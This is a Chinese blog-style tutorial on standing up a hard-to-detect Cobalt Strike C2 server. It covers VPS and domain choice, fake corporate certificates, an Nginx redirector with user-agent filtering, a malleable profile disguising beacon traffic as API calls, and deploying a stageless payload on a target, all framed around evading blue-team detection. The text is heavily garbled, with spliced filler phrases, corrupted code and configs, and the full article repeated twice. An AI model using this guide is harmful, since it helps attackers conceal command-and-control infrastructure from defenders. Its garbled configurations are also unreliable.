如何从零开始构建一个难以察觉的红队指挥控制(C2)系统?
- 内容介绍
- 文章标签
- 相关推荐
最近HW看蓝队弟弟们天天抱着流量日志翻来覆去喊“这C2在哪啊”?哈哈其实红队藏C2的套路真没那么玄乎——今天咱就以老友唠嗑的方式扒一扒从零开始搭一套连溯源工具都查不到的Cobalt Strike C2到底怎么弄,拭目以待。
不地道。 事先说清楚哦:本文只讲技术实现和隐蔽技巧;全程带点啰嗦、带点口头禅;遇到坑我会直接说“我上次就栽这儿了”——保证你踩过的雷我都帮你提前踩一遍

第一步:选对VPS——别让IP先暴露
害…搞C2第一步就得选个低调到不行的VPS - 地域优先海外国内VPS要么备案麻烦要么IP早就在蓝队黑名单里了;海外节点选Vultr/Contabo都行;配置别抠门——2核4G起步 - 域名要假得像真的别用什么“.top/.xyz”烂大街域名! 交学费了。 去Godaddy/Namecheap注个“.com/.net”;记得开Whois隐私保护 - 小提示VPS登录后先敲sudo ufw allow 22/tcp开SSH端口;再sudo ufw allow 443/tcp放HTTPS
第二步:Java环境——CS这倔驴只认AdoptOpenJDK 11
说实话CS这玩意儿挑Java版本挑得比女朋友挑奶茶还严 - 卸载系统自带OpenJDKsudo apt remove openjdk-* -y清干净;不然会跟后续安装的Temurin冲突 - 手动装AdoptOpenJDK 11去官网下x64压缩包扔到/usr/local下;解压重命名成java11 - 配置环境变量vim /etc/profile末尾加这几行: bash export J娱乐A_HOME=/usr/local/java11 export PATH=$J娱乐A_HOME/bin:$PATH source /etc/profile # 立刻生效 - 验证敲java -version看到openjdk version "11.0.xx"就成——再试一次javac也不能报错哦,又爱又恨。
第三步:CS服务端初始化——改改改!把默认指纹全换掉
CS默认配置是给新手练手的…拿来实战跟裸奔没区别
▶️ 修改teamserver启动参数
先把CS压缩包扔到/opt/cs下;解压后找到teamserver脚本——vim打开它
重点改这三个地方 bash
java -XX:ParallelGCThreads=4 -port=50050 \ -bindto=127.0.0.1 \ # 只监听本地? 共勉。 客户端怎么连? -=./ \ # 默认密码太弱 -server ...
提到这个... java -XX:ParallelGCThreads=4 -port=65000 \ # 换非标准端口 -bindto=0.0.0.0 \ # 允许所有IP访问 -=./ \ # Profile放当前目录 -=RedTeam@2024 \ # 设置强密码 -server ...
格局小了。 保存后给脚本加施行权限:chmod +x teamserver
▶️ 生成高仿企业证书——自签名证直接pass!
CS默认自签名证书里带"Cobalt St 这事儿我可太有发言权了。 rike"关键字…蓝队用工具一扫就原形毕露
教你生成仿企业域名证书 bash keytool -genkey -alias cs-cert -keyalg RSA -validity 3650 \ # 有效期10年省得年年换 -keystore /opt/cs/mycert.store \ # 证书存这儿 -storepass RedTeam@2024 \ 盘它... # 密码跟刚才teamserver一致 -keypass RedTeam@2024 \ # key密码也一致别整岔劈 -dname "CN=yourdomain.com, OU=IT Dept, O=Tech Corp, L=Beijing, ST=Beijing, C=CN" # CN填你的域名!其他仿企业信息随便编但要像真的!
验证一下:keytool -list -v -keystore /opt/cs/mycert.store能看到证书信息就行
第四步:Nginx反向代理——给C2套层“正常网站皮”
Nginx是C2最有效的衣之一…对外就装成个打不开门儿但看着正经八百网站
▶️ Nginx基础配置
先装Nginx:sudo apt install nginx -y;然后删默认配置避免端口冲突,功力不足。
新建一个配置文件:vim /etc/nginx/sites-available/yourdomain.com.conf,我懂了。
贴进去这段核心代码(仔细看注释哦~每一行都有用处!): nginx,火候不够。
upstream cs_server { server l 基本上... ocalhost:65999; keepalive 8; }
server { listen https://yourdomain.com:ssl; //你的域名+ssl server_name yourdomain.com; //必填!填你的域名,划水。
// SSL证书
ssl_certificate /etc/letsencrypt/live/yourdomain.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/yourdomain.com/privkey.pem;
// SSL平安优化
ssl_protocols TLSv1.3 TLSv1.2; //禁用老版本TLS防漏洞
ssl_ciphers ECDHE-RSA-AESGCM-SHA5...; //复制粘贴平安套件即可
//流量过滤:只允许指定路径+UA通过!
location ~ ^$ { //成JS文件或API接口路径
if { return_http_user_agent != "Mozilla/5\.苹果WebKit.*Chrome") { return返回指定ua才能访问,否则禁止访问}return 返回指定ua才能访问,否则禁止访问 }return返回指定ua才能访问,否则禁止访问 } return返回指定ua才能访问,否则禁止访问 } return_http_user_agent != "Mozilla/5\.苹果WebKit.*Chrome") { return_http_user_agent != "Mozilla/5\.苹果WebKit.*Chrome") { return返回指定ua才能访问,否则禁止访问}return 返回指定ua才能访问,否则禁止访问 }return返回指定ua才能访问,否则禁止访问 } return_http_user_agent != "Mozilla/5\.苹果WebKit.*Chrome") { return_http_user_agent != "Mozilla/5\.苹果WebKit.*Chrome") { return返回指定ua才能访问,否则禁止访问}return 返回指定ua才能访问,否则禁止访 };问 } ;
proxy_pass http://cs_server; //转发到本地CS服务端
proxy_set_header Host $host; //传递真实Host头
proxy_set_header X-Real_IP $remote_addr; //传递真实客户端IP
expires off; //禁用缓存!防止CDN存C恶意代码缓存恶意代码恶意代码恶意代恶意代恶意码码码码码码码!!}}//禁用缓存!防止CDN存恶意代码!!
location /{returnhttps://wwwbaiducomredirect//非允许路径跳转到百度!}location/{returnhttps://wwwbaiducomredirect//非允许路径跳转到百度!} location/{returnhttps://wwwbaiducomredirect//非允许路径跳转到百度!}location/{returnhttps://wwwbaiducomredirect//非允许路径跳转到百度!}location/{returnhttps://wwwbaiducomredirect//非允许路径跳转到百度!}location/{returnhttps://wwwbaiducomredirect//非允许路径跳转到百度!}location/{returnhttps://wwwbaiducomredirect//非允许路劲跳到百渡,(伪妆正嫦网沾}}
listen8;//HTTP转HTTPS强制跳转http{listen8;/listen:8;; server_name yourdomain.com return3 redirecthttps$host$request_uri}}}}}}}}}
▶️ Let's Encrypt免费证书+自动续签
自签名证再见吧!用Certbot搞免费可信证书一步到位: bash sudo snap install core;sudo snap refresh core;//更新snapd sudo snap install --classic certbot;//装certbot sudo ln-s/snap/bin/certbot/usr/bin/certbot;//创建软链接方便调用
//申请SSL证书 sudo certbot--nginx-d yourdomain.com--register-unsafely-without_email--agree-tos
设置定时任务自动续签:crontab-e,末尾加一行:@monthly certbot ren 搞起来。 ew --quiet --post-hook "systemctl reload nginx"
第五步:Mal leable Profile深度—让流量看起来像普通用户浏览网页_CS自带Profile太蠢啦!!我们得自己写一个"高仿API请求"Profile新建一个叫yourprofile.cna放在/opte/cs/CZProfiles下贴进去这段代码:
就这? set sleeptime “3”;set jitter “”;set useragent “”; http-stager{ set hoststage “false”; set urix86 “api/v/stage/x86”; set uri_x6/http-get{ set uri “api/v/data?type-status”; client{ header “Host-yourdom ain com”; header “Accept-app lication/json”; metadata{base urlprepend sessionld-header “Cookie”;}; output{base urlprepend "{data\":\" append "\ "}print}; }; http-post{set uri api/v/data/submit client header Host yourdomain com header Content-Type application/json id base url parameter deviceId output base url prepend "{result\":\" append "\ "} print}; server output print "{status\":\"success\"}"; }; https-certificate{ set keystore "/optecsm ycert store"; set password RedTeamQED};
Beacon休眠秒数随机波动%,User-Agent抄最新版Chrome浏览器!,请求路径全换成/api/vXxx,载荷Base6编码混在JSON里!,Cookie里藏元数据…完美!!!记住启动时加上-profile参数哦!:./teamserver V PS IP RedTeaml @ ED-profile ./CZProfileslyourprofile cna’
第六步:系统加固—细节决定成败! SSH隐藏版本信息:sudo vim/etc/Ssh/Sshd config添加两行Banner none Version Addendum none然后重启SSH:sudo systemctl restart sshd测试一下ssh-V root@vpsip如果看不到版本号说明成功ICMP禁Ping:sudo sysctl-w netipvicmpecho ignorealll永久生效改/etc/sysctl.conf加一行netipv icmp_echo ignore alll使生效sysctl-p再说说再检查一遍防火墙:sudoufw status确保只有及开放其他全关~
再说说一步:实战验证—看看是不是真·隐匿型c?等cs启动后,生成stageless payload扔目标机上施行不出意外beacon应该会乖乖上线别急着发命令先等等看beacon回连日志是不是都是/api/v/data之类请求? UA是不是 Chrome?流量是不是HTTPS?如果是的话…恭喜你蓝队就算抓破头也找不到你的c ip~
不堪入目。 ps:.要是beacon不上线别急先排查这几个点::Profile路径对不对? Nginx转发规则错没错? VPs防火墙开没开? Java版本是不是ll? CS日志在/optecslogs里看看有没有报错…基本都是小问题解决掉就能上线啦~
害…说了这么多其实核心就一句话:把c变成网络里"最普通"那个家伙,让它看起来像逛淘宝刷抖音一样人畜无 往往.…. 害—这就是最高级别的隐匿术嘛~下次HW再见蓝队弟弟们他们肯定还在念叨:"这c到底在哪啊?"哈哈哈哈哈
最近HW看蓝队弟弟们天天抱着流量日志翻来覆去喊“这C2在哪啊”?哈哈其实红队藏C2的套路真没那么玄乎——今天咱就以老友唠嗑的方式扒一扒从零开始搭一套连溯源工具都查不到的Cobalt Strike C2到底怎么弄,拭目以待。
不地道。 事先说清楚哦:本文只讲技术实现和隐蔽技巧;全程带点啰嗦、带点口头禅;遇到坑我会直接说“我上次就栽这儿了”——保证你踩过的雷我都帮你提前踩一遍

第一步:选对VPS——别让IP先暴露
害…搞C2第一步就得选个低调到不行的VPS - 地域优先海外国内VPS要么备案麻烦要么IP早就在蓝队黑名单里了;海外节点选Vultr/Contabo都行;配置别抠门——2核4G起步 - 域名要假得像真的别用什么“.top/.xyz”烂大街域名! 交学费了。 去Godaddy/Namecheap注个“.com/.net”;记得开Whois隐私保护 - 小提示VPS登录后先敲sudo ufw allow 22/tcp开SSH端口;再sudo ufw allow 443/tcp放HTTPS
第二步:Java环境——CS这倔驴只认AdoptOpenJDK 11
说实话CS这玩意儿挑Java版本挑得比女朋友挑奶茶还严 - 卸载系统自带OpenJDKsudo apt remove openjdk-* -y清干净;不然会跟后续安装的Temurin冲突 - 手动装AdoptOpenJDK 11去官网下x64压缩包扔到/usr/local下;解压重命名成java11 - 配置环境变量vim /etc/profile末尾加这几行: bash export J娱乐A_HOME=/usr/local/java11 export PATH=$J娱乐A_HOME/bin:$PATH source /etc/profile # 立刻生效 - 验证敲java -version看到openjdk version "11.0.xx"就成——再试一次javac也不能报错哦,又爱又恨。
第三步:CS服务端初始化——改改改!把默认指纹全换掉
CS默认配置是给新手练手的…拿来实战跟裸奔没区别
▶️ 修改teamserver启动参数
先把CS压缩包扔到/opt/cs下;解压后找到teamserver脚本——vim打开它
重点改这三个地方 bash
java -XX:ParallelGCThreads=4 -port=50050 \ -bindto=127.0.0.1 \ # 只监听本地? 共勉。 客户端怎么连? -=./ \ # 默认密码太弱 -server ...
提到这个... java -XX:ParallelGCThreads=4 -port=65000 \ # 换非标准端口 -bindto=0.0.0.0 \ # 允许所有IP访问 -=./ \ # Profile放当前目录 -=RedTeam@2024 \ # 设置强密码 -server ...
格局小了。 保存后给脚本加施行权限:chmod +x teamserver
▶️ 生成高仿企业证书——自签名证直接pass!
CS默认自签名证书里带"Cobalt St 这事儿我可太有发言权了。 rike"关键字…蓝队用工具一扫就原形毕露
教你生成仿企业域名证书 bash keytool -genkey -alias cs-cert -keyalg RSA -validity 3650 \ # 有效期10年省得年年换 -keystore /opt/cs/mycert.store \ # 证书存这儿 -storepass RedTeam@2024 \ 盘它... # 密码跟刚才teamserver一致 -keypass RedTeam@2024 \ # key密码也一致别整岔劈 -dname "CN=yourdomain.com, OU=IT Dept, O=Tech Corp, L=Beijing, ST=Beijing, C=CN" # CN填你的域名!其他仿企业信息随便编但要像真的!
验证一下:keytool -list -v -keystore /opt/cs/mycert.store能看到证书信息就行
第四步:Nginx反向代理——给C2套层“正常网站皮”
Nginx是C2最有效的衣之一…对外就装成个打不开门儿但看着正经八百网站
▶️ Nginx基础配置
先装Nginx:sudo apt install nginx -y;然后删默认配置避免端口冲突,功力不足。
新建一个配置文件:vim /etc/nginx/sites-available/yourdomain.com.conf,我懂了。
贴进去这段核心代码(仔细看注释哦~每一行都有用处!): nginx,火候不够。
upstream cs_server { server l 基本上... ocalhost:65999; keepalive 8; }
server { listen https://yourdomain.com:ssl; //你的域名+ssl server_name yourdomain.com; //必填!填你的域名,划水。
// SSL证书
ssl_certificate /etc/letsencrypt/live/yourdomain.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/yourdomain.com/privkey.pem;
// SSL平安优化
ssl_protocols TLSv1.3 TLSv1.2; //禁用老版本TLS防漏洞
ssl_ciphers ECDHE-RSA-AESGCM-SHA5...; //复制粘贴平安套件即可
//流量过滤:只允许指定路径+UA通过!
location ~ ^$ { //成JS文件或API接口路径
if { return_http_user_agent != "Mozilla/5\.苹果WebKit.*Chrome") { return返回指定ua才能访问,否则禁止访问}return 返回指定ua才能访问,否则禁止访问 }return返回指定ua才能访问,否则禁止访问 } return返回指定ua才能访问,否则禁止访问 } return_http_user_agent != "Mozilla/5\.苹果WebKit.*Chrome") { return_http_user_agent != "Mozilla/5\.苹果WebKit.*Chrome") { return返回指定ua才能访问,否则禁止访问}return 返回指定ua才能访问,否则禁止访问 }return返回指定ua才能访问,否则禁止访问 } return_http_user_agent != "Mozilla/5\.苹果WebKit.*Chrome") { return_http_user_agent != "Mozilla/5\.苹果WebKit.*Chrome") { return返回指定ua才能访问,否则禁止访问}return 返回指定ua才能访问,否则禁止访 };问 } ;
proxy_pass http://cs_server; //转发到本地CS服务端
proxy_set_header Host $host; //传递真实Host头
proxy_set_header X-Real_IP $remote_addr; //传递真实客户端IP
expires off; //禁用缓存!防止CDN存C恶意代码缓存恶意代码恶意代码恶意代恶意代恶意码码码码码码码!!}}//禁用缓存!防止CDN存恶意代码!!
location /{returnhttps://wwwbaiducomredirect//非允许路径跳转到百度!}location/{returnhttps://wwwbaiducomredirect//非允许路径跳转到百度!} location/{returnhttps://wwwbaiducomredirect//非允许路径跳转到百度!}location/{returnhttps://wwwbaiducomredirect//非允许路径跳转到百度!}location/{returnhttps://wwwbaiducomredirect//非允许路径跳转到百度!}location/{returnhttps://wwwbaiducomredirect//非允许路径跳转到百度!}location/{returnhttps://wwwbaiducomredirect//非允许路劲跳到百渡,(伪妆正嫦网沾}}
listen8;//HTTP转HTTPS强制跳转http{listen8;/listen:8;; server_name yourdomain.com return3 redirecthttps$host$request_uri}}}}}}}}}
▶️ Let's Encrypt免费证书+自动续签
自签名证再见吧!用Certbot搞免费可信证书一步到位: bash sudo snap install core;sudo snap refresh core;//更新snapd sudo snap install --classic certbot;//装certbot sudo ln-s/snap/bin/certbot/usr/bin/certbot;//创建软链接方便调用
//申请SSL证书 sudo certbot--nginx-d yourdomain.com--register-unsafely-without_email--agree-tos
设置定时任务自动续签:crontab-e,末尾加一行:@monthly certbot ren 搞起来。 ew --quiet --post-hook "systemctl reload nginx"
第五步:Mal leable Profile深度—让流量看起来像普通用户浏览网页_CS自带Profile太蠢啦!!我们得自己写一个"高仿API请求"Profile新建一个叫yourprofile.cna放在/opte/cs/CZProfiles下贴进去这段代码:
就这? set sleeptime “3”;set jitter “”;set useragent “”; http-stager{ set hoststage “false”; set urix86 “api/v/stage/x86”; set uri_x6/http-get{ set uri “api/v/data?type-status”; client{ header “Host-yourdom ain com”; header “Accept-app lication/json”; metadata{base urlprepend sessionld-header “Cookie”;}; output{base urlprepend "{data\":\" append "\ "}print}; }; http-post{set uri api/v/data/submit client header Host yourdomain com header Content-Type application/json id base url parameter deviceId output base url prepend "{result\":\" append "\ "} print}; server output print "{status\":\"success\"}"; }; https-certificate{ set keystore "/optecsm ycert store"; set password RedTeamQED};
Beacon休眠秒数随机波动%,User-Agent抄最新版Chrome浏览器!,请求路径全换成/api/vXxx,载荷Base6编码混在JSON里!,Cookie里藏元数据…完美!!!记住启动时加上-profile参数哦!:./teamserver V PS IP RedTeaml @ ED-profile ./CZProfileslyourprofile cna’
第六步:系统加固—细节决定成败! SSH隐藏版本信息:sudo vim/etc/Ssh/Sshd config添加两行Banner none Version Addendum none然后重启SSH:sudo systemctl restart sshd测试一下ssh-V root@vpsip如果看不到版本号说明成功ICMP禁Ping:sudo sysctl-w netipvicmpecho ignorealll永久生效改/etc/sysctl.conf加一行netipv icmp_echo ignore alll使生效sysctl-p再说说再检查一遍防火墙:sudoufw status确保只有及开放其他全关~
再说说一步:实战验证—看看是不是真·隐匿型c?等cs启动后,生成stageless payload扔目标机上施行不出意外beacon应该会乖乖上线别急着发命令先等等看beacon回连日志是不是都是/api/v/data之类请求? UA是不是 Chrome?流量是不是HTTPS?如果是的话…恭喜你蓝队就算抓破头也找不到你的c ip~
不堪入目。 ps:.要是beacon不上线别急先排查这几个点::Profile路径对不对? Nginx转发规则错没错? VPs防火墙开没开? Java版本是不是ll? CS日志在/optecslogs里看看有没有报错…基本都是小问题解决掉就能上线啦~
害…说了这么多其实核心就一句话:把c变成网络里"最普通"那个家伙,让它看起来像逛淘宝刷抖音一样人畜无 往往.…. 害—这就是最高级别的隐匿术嘛~下次HW再见蓝队弟弟们他们肯定还在念叨:"这c到底在哪啊?"哈哈哈哈哈

